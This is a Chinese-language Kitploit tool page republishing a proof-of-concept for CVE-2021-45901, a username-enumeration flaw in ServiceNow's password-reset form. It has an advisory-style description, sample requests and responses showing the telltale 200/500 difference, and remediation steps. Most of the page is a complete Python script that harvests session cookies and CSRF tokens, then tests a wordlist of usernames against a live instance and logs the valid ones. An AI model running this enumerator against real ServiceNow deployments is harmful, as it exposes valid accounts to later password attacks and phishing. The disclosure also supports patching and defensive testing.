Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-45901 — 针对 ServiceNow 的自动化用户名枚举利用工具(CVE-2021-45901),利用密码重置表单的 HTTP 响应差异检测进行漏洞利用。 | Kitploit
工具/GitHubGitHub/9lyph/cve-2021-45901
OSINT (开源情报)漏洞分析漏洞利用信息收集Web安全渗透测试
GitHub9lyph/cve-2021-45901

CVE-2021-45901

针对 ServiceNow 的自动化用户名枚举利用工具(CVE-2021-45901),利用密码重置表单的 HTTP 响应差异检测进行漏洞利用。

查看仓库
21年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-45901 (ServiceNow - 用户名枚举)

service-now

PoC 代码

enumSNOWUsers.py - SNOW 用户枚举器

标题

ServiceNow 应用程序中发现的用户名枚举漏洞

发布:版本 1.0

厂商:ServiceNow

产品:ServiceNow (https://www.servicenow.com/)

受影响版本:Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)

产品描述:

ServiceNow 是一家美国软件公司,总部位于加利福尼亚州圣克拉拉,开发云计算平台,帮助企业管理企业运营的数字工作流。

参考

Exploit-DB

发现

用户名枚举(未认证)

CVE:CVE-2021-45901

CWE:CWE-200:敏感信息暴露给未授权行为者

描述

在 ServiceNow (Orlando) 中发现的漏洞允许使用单词列表成功枚举用户名。利用未认证的会话并导航到密码重置表单,可以推断出有效用户名。这是通过检查密码重置 Web 表单最初触发的 HTTP POST 响应数据实现的。该响应根据用户名是否存在而有所不同。

注意:为了自动化此过程,需要有效的会话 Cookie (JSESSIONID)、CSRF Token (pwd_csrf_token) 和 X-UserToken (X-UserToken)。所有这些对象都可以从客户端代码中恢复。

示例

CWE-203:可观察差异

以下说明了 HTTP 响应 POST 数据中的可观察差异,用于推断有效用户名与无效用户名。

root@kitploit:~
请求
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default

响应(有效用户名)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

响应(无效用户名)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

修复步骤

升级到 "Rome"

  • 在软件 "Rome" 版本中引入验证码
  • 泛化 HTTP 响应,隐藏有效用户响应
  • 混淆客户端代码,以便将会话令牌、Cookie 和 CSRF 令牌隐藏在客户端代码中
  • 引入服务器端哈希机制,对相关对象进行哈希处理,然后在客户端反转

PoC 代码(用户名枚举器)

root@kitploit:~
#!/usr/local/bin/python3
# 作者:Victor Hanna (Exploit Security)
# SNOW 用户枚举脚本
# 需要有效的
1. JSESSION(匿名)
2. X-UserToken 
3. CSRF Token

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   作者:Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   描述:SNOW 用户名枚举器                                            |")
    print ("|   用法:"+sys.argv[0]+"                                                        |")
    print ("|   前置条件:'users.txt' 需要包含用户列表                          |")    
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    proxies = {
        "http":"http://127.0.0.1:8080/",
        "https":"http://127.0.0.1:8080/"
    }
    url = "http://<redacted>/"
    try:
        # s = requests.Session()
        # s.verify = False
        r = requests.get(url, timeout=10, verify=False, proxies=proxies)
        JSESSIONID = r.cookies["JSESSIONID"]
        glide_user_route = r.cookies["glide_user_route"]
        startTime = (str(time.time_ns()))
        # print (startTime[:-6])
    except requests.exceptions.Timeout:
        print ("[!] 连接主机超时!")
        sys.exit(1)

    with open ("users.txt", "r") as f:
        usernames = f.readlines()
        print (f"[+] 正在暴力破解 ....")
        for users in usernames:
            url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
            headers1 = {
                "Host": "<redacted>",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "Connection": "close",
                "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
                }

            try:
                # s = requests.Session()
                # s.verify = False
                r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
                obj1 = re.findall(r"pwd_csrf_token", r.text)
                obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
                tokenIndex = (r.text.index(obj1[0]))
                startTime2 = (str(time.time_ns()))
                # userTokenIndex = (r.text.index(obj2[0]))
                # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
                token = (r.text[tokenIndex+45:tokenIndex+73])
                url = "http://<redacted>/xmlhttp.do"
                headers2 = {
                    "Host": "<redacted>",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                    "Accept": "*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                    "Content-Length": "786",
                    "Origin": "http://<redacted>/",
                    "Connection": "keep-alive",
                    # "X-UserToken":""+userToken+"",
                    "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
                    }

                data = {
                    "sysparm_processor": "PwdAjaxVerifyIdentity",
                    "sysparm_scope": "global",
                    "sysparm_want_session_messages": "true",
                    "sysparm_name":"verifyIdentity",
                    "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
                    "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
                    "sysparm_user_id_0":""+users.strip()+"",
                    "sysparm_identification_number":"1",
                    "sysparam_pwd_csrf_token":""+token+"",
                    "ni.nolog.x_referer":"ignore",
                    "x_referer":"$pwd_reset.do?sysparm_url=ss_default"
                    }

                payload_str = urllib.parse.urlencode(data, safe=":+")

            except requests.exceptions.Timeout:
                print ("[!] 连接主机超时!")
                sys.exit(1)

            try:
                # s = requests.Session()
                # s.verify = False
                time.sleep(2)
                r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
                if "500" in r.text:
                    print (Fore.RED + f"[-] 无效用户:{users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] 无效用户:{users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                elif "200" in r.text:
                    print (Fore.GREEN + f"[+] 有效用户:{users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.GREEN + f"[+] 有效用户:{users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                else:
                    print (Fore.RED + f"[-] 无效用户:{users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] 无效用户:{users.strip()}\n" + Style.RESET_ALL)
                    f.close()
            except KeyboardInterrupt:
                sys.exit()
            except requests.exceptions.Timeout:
                print ("[!] 连接主机超时!")
                sys.exit(1)
            except Exception as e:
                print (Fore.RED + f"无法连接到主机" + Style.RESET_ALL)

if __name__ == "__main__":
    main ()

枚举

snow-enum

视频 PoC 利用

发现者/致谢:

Exploit Security 的 Victor Hanna

关注我

Mastodon Linkedin Youtube

下载工具